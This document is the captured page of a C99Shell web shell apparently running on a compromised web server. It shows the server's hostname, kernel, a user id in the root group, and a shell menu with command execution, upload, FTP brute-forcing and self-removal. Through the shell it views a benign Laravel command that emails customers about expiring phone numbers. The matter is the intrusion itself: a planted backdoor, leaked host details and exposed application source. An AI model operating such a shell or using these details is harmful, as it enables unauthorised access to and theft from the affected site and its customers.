!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.sms.picotech.app/public_html/app/Console/Commands/   drwxr-xr-x
Free 23.74 GB of 117.98 GB (20.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CheckExpiredNumber.php (2.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Console\Commands;

use 
Illuminate\Console\Command;
use 
App\Events\SendMail;
use 
App\Models\Notification;
use 
App\Models\User;
use 
App\Models\Number;
use 
App\Models\CustomerNumber;
use 
Carbon\Carbon;
class 
CheckExpiredNumber extends Command
{
    
/**
     * The name and signature of the console command.
     *
     * @var string
     */
    
protected $signature 'app:check-expired-number';

    
/**
     * The console command description.
     *
     * @var string
     */
    
protected $description 'Command description';

    
/**
     * Execute the console command.
     */
    
public function handle()
    {
        
$customerNumbers CustomerNumber::with(['customer'])->whereNotNull('expire_date')
            ->
where('expire_date''<'now()->addWeek())
            ->
get();

        foreach (
$customerNumbers as $customerNumber) {

            
$customer $customerNumber->customer;

            if (
$customerNumber->expire_date now()->subDay(1)) {
                if (!
$customerNumber->notifications_date || $customerNumber->notifications_date now()) {
                    
$template get_email_template('number_expire');
                    
$subject $template->subject ?? 'Number Expired';
                    
$templateBody '';
                    if (
$template && isset($template->body) && $template->body) {
                        
$templateBody str_replace('{customer_name}'$customer->first_name ' ' $customer->last_name$template->body);
                        
$templateBody str_replace('{number}'$customerNumber->number$templateBody);
                        
$templateBody str_replace('{date}'$customerNumber->expire_date$templateBody);
                    }else{
                        
$templateBody "Dear {$customer->first_name} {$customer->last_name} your number will be expired in {$customerNumber->expire_date}";
                    }

                    
SendMail::dispatch($customer->email$subject$templateBody);

                    
$notification = new Notification();
                    
$notification->customer_id $customer->id;
                    
$notification->subject $subject;
                    
$notification->details $templateBody;
                    
$notification->save();

                    
$expireDate Carbon::parse($customerNumber->expire_date);
                    
$now Carbon::now();
                    
$daysDiff $expireDate->diffInDays($now);

                    
$customerNumber->notifications_date now()->addDays($daysDiff+1);
                    
$customerNumber->save();
                }
            }else {
                if (
$customerNumber->notifications_date) {
                    
$customerNumber->notifications_date null;
                    
$customerNumber->save();
                }
            }

        }

        return 
Command::SUCCESS;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--